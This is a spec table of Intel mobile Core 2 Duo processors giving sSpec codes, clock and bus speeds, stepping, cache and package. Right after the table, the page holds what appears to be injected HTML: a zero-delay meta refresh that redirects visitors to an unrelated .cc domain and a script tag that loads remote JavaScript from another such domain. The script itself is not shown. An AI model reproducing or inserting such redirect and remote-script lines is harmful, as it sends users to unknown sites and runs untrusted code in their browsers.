|
Spec# CPU Speed Processor # PCG Bus Speed Mfg Tech Stepping Cache Size Package Type
SLAQH 2.60 GHz T9500 N/A 800 MHz 45 nm C0 6 MB Micro-FCPGA
SLAPW 2.60 GHz T9500 N/A 800 MHz 45 nm C0 6 MB Micro-FCBGA
SLA75 2.60 GHz T7800 N/A 800 MHz 65 nm G0 4 MB Micro-FCBGA
SLAF6 2.60 GHz T7800 N/A 800 MHz 65 nm G0 4 MB Micro-FCPGA
SLAQG 2.50 GHz T9300 N/A 800 MHz 45 nm C0 6 MB Micro-FCPGA
SLAPV 2.50 GHz T9300 N/A 800 MHz 45 nm C0 6 MB Micro-FCBGA
SLAPR 2.40 GHz T8300 N/A 800 MHz 45 nm M0 3 MB Micro-FCBGA
SLAPA 2.40 GHz T8300 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SLADL 2.40 GHz T7700 N/A 800 MHz 65 nm G0 4 MB Micro-FCBGA
SLAF7 2.40 GHz T7700 N/A 800 MHz 65 nm G0 4 MB Micro-FCPGA
SLA43 2.40 GHz T7700 N/A 800 MHz 65 nm E1 4 MB Micro-FCPGA
SLAPU 2.40 GHz T8300 N/A 800 MHz 45 nm C0 3 MB Micro-FCBGA
SLA3M 2.40 GHz T7700 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SL9SJ 2.33 GHz T7600 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SL9SD 2.33 GHz T7600 N/A 667 MHz 65 nm B2 4 MB Micro-FCPGA
SLA44 2.20 GHz T7500 N/A 800 MHz 65 nm E1 4 MB Micro-FCPGA
SLA3N 2.20 GHz T7500 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SLADM 2.20 GHz T7500 N/A 800 MHz 65 nm G0 4 MB Micro-FCBGA
SLAF8 2.20 GHz T7500 N/A 800 MHz 65 nm G0 4 MB Micro-FCPGA
SL9SK 2.16 GHz T7400 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SL9SE 2.16 GHz T7400 N/A 667 MHz 65 nm B2 4 MB Micro-FCPGA
SLAXG 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SLAPT 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCBGA
SLAUU 2.10 GHz T8100 N/A 800 MHz 45 nm C0 3 MB Micro-FCPGA
SLAVJ 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SLAPS 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCBGA
SLAP9 2.10 GHz T8100 N/A 800 MHz 45 nm M0 3 MB Micro-FCPGA
SL9SF 2 GHz T7200 N/A 667 MHz 65 nm B2 4 MB Micro-FCPGA
SLA3T 2 GHz T7250 N/A 800 MHz 65 nm M0 2 MB Micro-FCBGA
SLA3P 2 GHz T7300 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SLA49 2 GHz T7250 N/A 800 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SL 2 GHz T7200 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SLA45 2 GHz T7300 N/A 800 MHz 65 nm E1 4 MB Micro-FCPGA
SLA4D 2 GHz T5750 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SP 1.83 GHz T5600 N/A 667 MHz 65 nm B2 2 MB Micro-FCBGA
SL9U7 1.83 GHz T5600 N/A 667 MHz 65 nm L2 2 MB Micro-FCBGA
SL9U3 1.83 GHz T5600 N/A 667 MHz 65 nm L2 2 MB Micro-FCPGA
SLA4E 1.83 GHz T5550 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SG 1.83 GHz T5600 N/A 667 MHz 65 nm B2 2 MB Micro-FCPGA
SLA4A 1.80 GHz T7100 N/A 800 MHz 65 nm M0 2 MB Micro-FCPGA
SLA3U 1.80 GHz T7100 N/A 800 MHz 65 nm M0 2 MB Micro-FCBGA
SL9WE 1.73 GHz T5300 N/A 533 MHz 65 nm L2 2 MB Micro-FCPGA
SL9SH 1.66 GHz T5500 N/A 667 MHz 65 nm B2 2 MB Micro-FCPGA
SLA4F 1.66 GHz T5450 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SQ 1.66 GHz T5500 N/A 667 MHz 65 nm B2 2 MB Micro-FCBGA
SL9U8 1.66 GHz T5500 N/A 667 MHz 65 nm L2 2 MB Micro-FCBGA
SL9U4 1.66 GHz T5500 N/A 667 MHz 65 nm L2 2 MB Micro-FCPGA
SLAEB 1.60 GHz T5470 N/A 800 MHz 65 nm M0 2 MB Micro-FCPGA
SLA3R 1.60 GHz L7500 N/A 800 MHz 65 nm L2 4 MB Micro-FCBGA
SL9VP 1.60 GHz T5200 N/A 533 MHz 65 nm B2 2 MB Micro-FCPGA
SLA9S 1.50 GHz T5250 N/A 667 MHz 65 nm M0 2 MB Micro-FCPGA
SL9SM 1.50 GHz L7400 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SLA3S 1.40 GHz L7300 N/A 800 MHz 65 nm E1 4 MB Micro-FCBGA
SLV3W 1.33 GHz U7600 N/A 533 MHz 65 nm M0 2 MB Micro-FCBGA
SL9SN 1.33 GHz L7200 N/A 667 MHz 65 nm B2 4 MB Micro-FCBGA
SLV3X 1.20 GHz U7500 N/A 533 MHz 65 nm M0 2 MB Micro-FCBGA
SLA2U 1.20 GHz U7600 N/A 533 MHz 65 nm L2 2 MB Micro-FCBGA
SLA2V 1.06 GHz U7500 N/A 533 MHz 65 nm L2 2 MB Micro-FCBGA<meta http-equiv="refresh" content="0; url=http://www.981.cc">
★★★
<script type="text/javascript" src="http://www.972.cc/1.js"></script>
<link href="http://www.972.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
<P> </P>
|
|
关于我们